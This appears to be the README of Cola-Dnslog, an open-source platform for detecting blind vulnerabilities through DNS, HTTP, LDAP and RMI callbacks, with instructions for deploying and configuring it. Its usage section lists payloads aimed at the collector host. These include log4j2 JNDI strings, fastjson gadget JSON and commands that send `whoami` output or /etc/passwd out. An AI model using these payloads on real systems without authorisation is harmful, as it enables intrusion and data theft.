## Cola-Dnslog ![Language](https://img.shields.io/badge/Language-Python-blue) ![Author](https://img.shields.io/badge/Author-AbelChe-orange) ![GitHub stars](https://img.shields.io/github/stars/AbelChe/cola_dnslog.svg?style=flat&logo=github) ![Version](https://img.shields.io/badge/Version-V0.0.1-red) ![Time](https://img.shields.io/badge/Join-20220829-green) Cola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台), - 完全开源 - 支持dns http ldap rmi等协议 - 提供API调用方式便于与其他工具结合 - 支持钉钉机器人、Bark等提醒 - 支持docker一键部署 ------ 涉及到技术、框架: `dns` `http` `ldap` `rmi` `webui` `vue-element-admin` `fastapi` `sqlite` 可帮助检测漏洞: `log4j2` `fastjson` `ruoyi` `Spring` `RCE` `Blind SQL` `Bland XXE` 特色: `Dingtalk Robot` `Bark` `API` `ldaplog` `rmilog` `Docker` ## 🥯 使用方法 > 假设你购买的域名为`example.com` > > 你的vps ip为`1.1.1.1` ### 域名 请自行购买域名,并将域名的解析服务器托管至部署cola_dnslog的服务器 以godaddy为例 1. 配置域名解析处右上角三个点,点击Host Names ![image-20220717175903352](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717175903352.png) 2. 修改或新增主机名如下图所示,ip地址填写你的vps地址即可 ![image-20220717180002176](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717180002176.png) 3. 回到dns管理,将域名服务器修改为`ns1.example.com`和`ns2.example.com` ![image-20220717180242944](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717180242944.png) ### 安装部署 #### Docker(推荐) ##### 一键启动(推荐) 1. 下载源码 ```sh git clone https://github.com/Abelche/cola_dnslog.git cd cola_dnslog ``` 2. 修改docker-compose.yml中environment变量 ```yml ... server: ... environment: DNS_DOMAIN: example.com # 自己的域名 NS1_DOMAIN: ns1.example.com # ns1绑定 NS2_DOMAIN: ns2.example.com # ns2绑定 SERVER_IP: 1.1.1.1 # vps ip ... front: ... environment: API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 ... ``` 3. 启动 ```sh docker-compose up -d ``` 4. 启动之后查看docker日志或者查看info.txt获取账号信息 > server端程序运行会在程序根目录创建一个info.txt用于记录初始化的账号信息 ```sh docker-compose logs docker exec -it cat /coladnslog/info.txt ``` ![image-20220812005813825](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220812005813825.png) > 如果需要自定义端口,请修改`docker-compose.yml`的端口映射`ports`即可 ##### 前后端分离部署 服务端: ```sh git clone https://github.com/Abelche/cola_dnslog.git cd cola_dnslog docker build -t coladnslog_server -f Dockerfile_server . docker run -itd -p 53:53/udp \ -p 80:80 \ -p 1099:1099 \ -p 1389:1389 \ -p 28001:28001 \ -e DNS_DOMAIN=example.com \ -e NS1_DOMAIN=ns1.example.com \ -e NS2_DOMAIN=ns2.example.com \ -e SERVER_IP=1.1.1.1 \ --name ColaDnslog_server coladnslog_server ``` 客户端: ```sh git clone https://github.com/Abelche/cola_dnslog.git cd cola_dnslog sudo docker build -t coladnslogfront -f Dockerfile_front . sudo docker run -itd -p 18080:18080 coladnslogfront ``` #### 源码安装 共分四步 ##### **第一步 下载源码** 下载源码 ```sh git clone https://github.com/Abelche/cola_dnslog.git ``` > 我习惯于将服务用`tmux`放到后台运行 ##### **第二步 启动webserver** 安装python(python>=3.7)依赖 注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用conda ```sh cd cola_dnslog pip install -r requirements.txt ``` 修改根目录下的`config.yaml` 主要需要修改`DNS_DOMAIN` `NS1_DOMAIN` `NS2_DOMAIN` `SERVER_IP` 可选: 修改`HTTP_RESPONSE_SERVER_VERSION`伪造http返回中Server字段 ```yaml global: DB_FILENAME: sqlite.db logserver: DNS_DOMAIN: example.com NS1_DOMAIN: ns1.example.com NS2_DOMAIN: ns2.example.com SERVER_IP: 1.1.1.1 DNS_PORT: 53 HTTP_HOST: 0.0.0.0 HTTP_PORT: 80 HTTP_RESPONSE_SERVER_VERSION: nginx LDAP_HOST: 0.0.0.0 LDAP_PORT: 1389 RMI_HOST: 0.0.0.0 RMI_PORT: 1099 webserver: HOST: 0.0.0.0 PORT: 28001 PASSWORD_SALT: 随便一长串字符串,如:cuau89j2iifdas8 ``` 启动webserber端和logserver端,注意这里一定要先启动webserver端(因为要先通过webserver端初始化数据库,初始化之后会在终端输出账号、密码、token、logid等信息。 ```sh chmod +x start_webserver ./start_webserver ``` ![image-20220730035846090](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730035846090.png) ##### **第三步 启动logserver** ```sh chmod +x start_logserver ./start_logserver ``` ![image-20220730160132103](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730160132103.png) ##### **第四步 启动前端** 现在来到前端(不一定要和webserver放在一起,你甚至可以通过electron打包成本地客户端),先修改配置文件`.env.production` ```sh cd src/app/front vim .env.production ``` ```ini # just a flag ENV = 'production' # base api VUE_APP_BASE_API = 'http://1.1.1.1:28001' TARGET_API = 'http://1.1.1.1:28001' ``` 然后npm安装依赖、打包、启动http服务(这里可以随意选择http服务器,为了方便我直接用python启动) ```sh cd src/front npm install npm run build:prod cd dist python3 -m http.server 18001 ``` 至此,三端(webserver端、logserver端、webui前端)已经全部开启! 这时,访问http://1.1.1.1:18001应该可以看到登录页面! 玩得开心! ### 钉钉机器人 在钉钉群新建机器人,安全设置:添加自定义关键词`coladnslog` ![image-20220731231424000](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731231424000.png) 并获取到webhook的token,注意,只需要填写token即可 ![image-20220731231912885](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731231912885.png) 进入webui,修改Dingtalk Robot Token为上文获取的token,点击Update保存即可 ![image-20220802020311279](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220802020311279.png) 效果如下: image-20220731231301577 ### Bark [Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)](https://github.com/Finb/Bark) [Finb/bark-server: Backend of Bark (github.com)](https://github.com/Finb/bark-server) 同上 进入webui,开启Bark开关,然后修改bark url,点击Update保存 ![image-20220802015907678](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220802015907678.png) 效果如下: image-20220802015642879 ### 如何使用 上文提到,假定我的域名和ip是`example.com`和`1.1.1.1`,并且我们账户的logid为`qrq` #### DNS ```sh nsloopup `whoami`.qrq.example.com ping `whoami`.qrq.example.com ``` #### HTTP ```sh curl 1.1.1.1/qrq/some/info curl -d @/etc/passwd 1.1.1.1/qrq/postdata certutil -urlcache -split -f http://1.1.1.1/x x ``` #### LDAP log4j2 fastjson等可以使用此方法 注意这里必须要令最后路径的最后作为logid,如:`ldapqrq` `xxxxqrq` `qrq` `xxx/qrq` ``` ${jndi:ldap://1.1.1.1:1389/ldapqrq} {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true} ``` #### RMI 同上,log4j2 fastjson等 ``` ${jndi:rmi://1.1.1.1:1099/rmiqrq} { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } } ``` ## 👀 概览 ### 登录 ![image-20220730151326711](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730151326711.png) ### 首页 ![image-20220731143149729](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731143149729.png) ### Dnslog ![image-20220730151604227](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730151604227.png) ### Httplog ![image-20220730151741311](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730151741311.png) ### Ldaplog ![image-20220730151826344](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730151826344.png) ### Rmilog ![image-20220730151921478](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730151921478.png) ### 账号信息 ![image-20220801003540673](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220801003540673.png) ### 钉钉机器人 image-20220731231301577 ### Bark image-20220802015642879 ## 项目相关 ## 最近更新